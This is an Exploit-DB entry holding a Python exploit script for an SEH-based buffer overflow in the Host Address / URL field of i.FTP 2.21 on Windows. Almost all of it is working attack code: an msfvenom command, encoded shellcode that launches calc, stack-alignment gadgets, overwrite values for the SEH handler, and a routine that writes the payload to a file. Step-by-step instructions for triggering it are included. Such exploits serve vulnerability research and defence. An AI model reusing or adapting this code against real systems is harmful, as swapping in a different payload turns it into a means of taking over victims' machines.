Exploit-DB #39782
Description: i.FTP 2.21 - Host Address / URL Field (SEH)
Type: dos
Platform: windows
Date: 2016-05-09
Author: Tantaryu MING

Exploit:
#!/usr/bin/python

# Exploit Title: i.FTP 2.21 Host Address / URL Field SEH Exploit
# Date: 3-5-2016
# Exploit Author: Tantaryu MING
# Vendor Homepage: http://www.memecode.com/iftp.php
# Software Link: http://www.memecode.com/data/iftp-win32-v2.21.exe
# Version: 2.21
# Tested on: Windows 7 SP1 x86_64


# How to exploit: Connect -> Host Address / URL -> copy + paste content of evil.txt -> Press 'Connect' button

'''
msfvenom -p windows/exec CMD=calc -e x86/alpha_upper -a x86 -f c -b '\x00\x0d\x20\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff' BufferREgister=EAX
'''
shellcode = (
"\x50\x59\x49\x49\x49\x49\x49\x49\x49\x49\x49\x49\x51\x5a\x56"
"\x54\x58\x33\x30\x56\x58\x34\x41\x50\x30\x41\x33\x48\x48\x30"
"\x41\x30\x30\x41\x42\x41\x41\x42\x54\x41\x41\x51\x32\x41\x42"
"\x32\x42\x42\x30\x42\x42\x58\x50\x38\x41\x43\x4a\x4a\x49\x4b"
"\x4c\x5a\x48\x4b\x32\x35\x50\x33\x30\x43\x30\x33\x50\x4d\x59"
"\x4a\x45\x36\x51\x39\x50\x42\x44\x4c\x4b\x30\x50\x56\x50\x4c"
"\x4b\x51\x42\x34\x4c\x4c\x4b\x30\x52\x35\x44\x4c\x4b\x42\x52"
"\x31\x38\x44\x4f\x58\x37\x51\x5a\x57\x56\x30\x31\x4b\x4f\x4e"
"\x4c\x47\x4c\x35\x31\x43\x4c\x53\x32\x56\x4c\x51\x30\x59\x51"
"\x58\x4f\x34\x4d\x53\x31\x49\x57\x4b\x52\x4a\x52\x50\x52\x50"
"\x57\x4c\x4b\x31\x42\x44\x50\x4c\x4b\x50\x4a\x37\x4c\x4c\x4b"
"\x30\x4c\x54\x51\x52\x58\x4b\x53\x50\x48\x35\x51\x38\x51\x50"
"\x51\x4c\x4b\x31\x49\x47\x50\x33\x31\x48\x53\x4c\x4b\x51\x59"
"\x32\x38\x4d\x33\x47\x4a\x47\x39\x4c\x4b\x47\x44\x4c\x4b\x35"
"\x51\x59\x46\x56\x51\x4b\x4f\x4e\x4c\x59\x51\x48\x4f\x54\x4d"
"\x45\x51\x58\x47\x57\x48\x4d\x30\x33\x45\x4a\x56\x55\x53\x53"
"\x4d\x4c\x38\x57\x4b\x33\x4d\x47\x54\x52\x55\x4b\x54\x30\x58"
"\x4c\x4b\x31\x48\x36\x44\x43\x31\x59\x43\x43\x56\x4c\x4b\x44"
"\x4c\x50\x4b\x4c\x4b\x46\x38\x35\x4c\x45\x51\x4e\x33\x4c\x4b"
"\x34\x44\x4c\x4b\x45\x51\x58\x50\x4b\x39\x51\x54\x36\x44\x57"
"\x54\x51\x4b\x31\x4b\x33\x51\x36\x39\x51\x4a\x30\x51\x4b\x4f"
"\x4b\x50\x51\x4f\x31\x4f\x30\x5a\x4c\x4b\x45\x42\x4a\x4b\x4c"
"\x4d\x51\x4d\x33\x5a\x55\x51\x4c\x4d\x4d\x55\x58\x32\x35\x50"
"\x45\x50\x45\x50\x56\x30\x33\x58\x30\x31\x4c\x4b\x42\x4f\x4d"
"\x57\x4b\x4f\x38\x55\x4f\x4b\x4a\x50\x4e\x55\x39\x32\x50\x56"
"\x52\x48\x59\x36\x4c\x55\x4f\x4d\x4d\x4d\x4b\x4f\x49\x45\x37"
"\x4c\x35\x56\x33\x4c\x44\x4a\x4d\x50\x4b\x4b\x4b\x50\x42\x55"
"\x33\x35\x4f\x4b\x37\x37\x55\x43\x53\x42\x52\x4f\x53\x5a\x33"
"\x30\x46\x33\x4b\x4f\x39\x45\x53\x53\x45\x31\x52\x4c\x35\x33"
"\x35\x50\x41\x41"
)

eax_zeroed = '\x25\x2E\x2E\x2E\x2E'
eax_zeroed += '\x25\x11\x11\x11\x11'

align_to_eax = "\x54\x58" # Get ESP and pop it into EAX
align_to_eax += "\x2d\x7d\x7d\x7d\x7d" # SUB EAX, 0x7d7d7d7d
align_to_eax += "\x2d\x01\x01\x01\x01" # SUB EAX, 0x01010101
align_to_eax += "\x2d\x01\x01\x02\x02" # SUB EAX, 0x02020101
align_to_eax += "\x2d\x7c\x73\x7f\x7f" # SUB EAX, 0x7f7f737c

buffer = "\x41" * 1865
buffer += "\x42\x42\x71\x04" # Pointer to Next SEH Record
buffer += "\x78\x2a\x01\x10" # SEH HANDLER
buffer += eax_zeroed
buffer += align_to_eax
buffer += "\x43" * 5
buffer += shellcode
buffer += "E" * 4
  
f = open('exploit.txt', "wb")
f.write(buffer)
f.close()